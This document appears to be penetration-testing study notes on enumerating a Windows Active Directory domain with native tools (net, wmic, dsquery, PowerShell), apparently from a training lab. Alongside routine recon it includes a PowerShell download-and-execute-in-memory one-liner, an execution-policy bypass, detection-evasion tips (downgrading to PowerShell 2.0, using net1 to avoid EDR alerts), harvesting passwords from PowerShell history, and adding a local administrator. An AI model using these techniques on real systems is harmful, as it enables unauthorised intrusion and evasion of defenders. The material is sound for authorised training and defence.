Utilizing native Windows tools to perform our enumeration.

LDAP Filtering

We might notice when querying LDAP we’ll find some strings such as userAccountControl:1.2.840.113556.1.4.803:=8192.

  • specifies that we are looking at the User Account Control (UAC) attributes for an object
  • 8192 represents the decimal bitmask we want to match in this search, this decimal number determines if an attribute is like password is not required or the account is locked.
  • OID rules are to match bit values with attributes.
  • Logical opreators can be used to build search strings

Host and Network Recon

CommandResult
hostnamePrints the PC’s Name
[System.Environment]::OSVersion.VersionPrints out the OS version and revision level
wmic qfe get Caption,Description,HotFixID,InstalledOnPrints the patches and hotfixes applied to the host
ipconfig /allPrints out network adapter state and configurations
setDisplays a list of environment variables for the current session (ran from CMD-prompt)
echo %USERDOMAIN%Displays the domain name to which the host belongs (ran from CMD-prompt)
echo %logonserver%Prints out the name of the Domain controller the host checks in with (ran from CMD-prompt)

Powershell

Cmd-LetDescription
Get-ModuleLists available modules loaded for use.
Get-ExecutionPolicy -ListWill print the execution policy settings for each scope on a host.
Set-ExecutionPolicy Bypass -Scope ProcessThis will change the policy for our current process using the -Scope parameter. Doing so will revert the policy once we vacate the process or terminate it. This is ideal because we won’t be making a permanent change to the victim host.
Get-ChildItem Env: | ft Key,ValueReturn environment values such as key paths, users, computer information, etc.
Get-Content $env:APPDATA\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txtWith this string, we can get the specified user’s PowerShell history. This can be quite helpful as the command history may contain passwords or point us towards configuration files or scripts that contain passwords.
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL to download the file from'); <follow-on commands>"This is a quick and easy way to download a file from the web using PowerShell and call it from memory.
If Script Block Logging is enabled everything we type into the terminal get sent to the log. We can downgrade Powershell to evade detection since Powershell version 2.0 does not log commands into the Event Viewer.
Get-Host
 
# downgrade
powershell.exe -version 2
 
# confirm
Get-host

Checking Defenses

# check firewall in cmd
netsh advfirewall shwo allprofiles
 
# windows defender check from cmd
sc query windefend
 
# powershell
Get-MpComputerStatus

Check Logged In Users

If someone is taking actions from a host someone else is on, there is the potential for them to notice you.

qwinsta

Network Information

Networking CommandsDescription
arp -aLists all known hosts stored in the arp table.
ipconfig /allPrints out adapter settings for the host. We can figure out the network segment from here.
route printDisplays the routing table (IPv4 & IPv6) identifying known networks and layer three routes shared with the host.
netsh advfirewall show allprofilesDisplays the status of the host’s firewall. We can determine if it is active and filtering traffic.

Windows Management Instrumentation (WMI)

Scripting engine that is used within enterprise environments to retrieve information and run administrative tasks on local and remote hosts.

CommandDescription
wmic qfe get Caption,Description,HotFixID,InstalledOnPrints the patch level and description of the Hotfixes applied
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:ListDisplays basic host information to include any attributes within the list
wmic process list /format:listA listing of all processes on host
wmic ntdomain list /format:listDisplays information about the Domain and Domain Controllers
wmic useraccount list /format:listDisplays information about all local accounts and any domain accounts that have logged into the device
wmic group list /format:listInformation about all local groups
wmic sysaccount list /format:listDumps information about any system accounts that are being used as service accounts.

Net

Enumerate information from the domain. net.exe commands are typically monitored by EDR solutions and can quickly give up our location if evasion is necessary.

CommandDescription
net accountsInformation about password requirements
net accounts /domainPassword and lockout policy
net group /domainInformation about domain groups
net group "Domain Admins" /domainList users with domain admin privileges
net group "domain computers" /domainList of PCs connected to the domain
net group "Domain Controllers" /domainList PC accounts of domains controllers
net group <domain_group_name> /domainUser that belongs to the group
net groups /domainList of domain groups
net localgroupAll available groups
net localgroup administrators /domainList users that belong to the administrators group inside the domain (the group Domain Admins is included here by default)
net localgroup AdministratorsInformation about a group (admins)
net localgroup administrators [username] /addAdd user to administrators
net shareCheck current shares
net user <ACCOUNT_NAME> /domainGet information about a user within the domain
net user /domainList all users of the domain
net user %username%Information about the current user
net use x: \computer\shareMount the share locally
net viewGet a list of computers
net view /all /domain[:domainname]Shares on the domains
net view \computer /ALLList shares of a computer
net view /domainList of PCs of the domain
If network defenders are actively logging for any commands out of normal using net1 instead of net will execute the same functions without the potential trigger from the net string.

Dsquery

Command-line tool that can be used to find AD objects. It will exist on any host with ADDS Role installed, and most modern Windows systems have the DLL.

We need elevated privileges on a host to run an instance of command prompt from a SYSTEM context.

# user search
dsquery user
 
# computer search
dsquery computer
 
# wildcard search
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
 
# users with specific attributes
dsquery * -filter "(&(objectCategory=person)(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" -attr distinguishedName userAccountControl
 
# domain controllers
dsquery * -filter "(userAccountControl:1.2.840.113556.1.4.803:=8192)" -limit 5 -attr sAMAccountName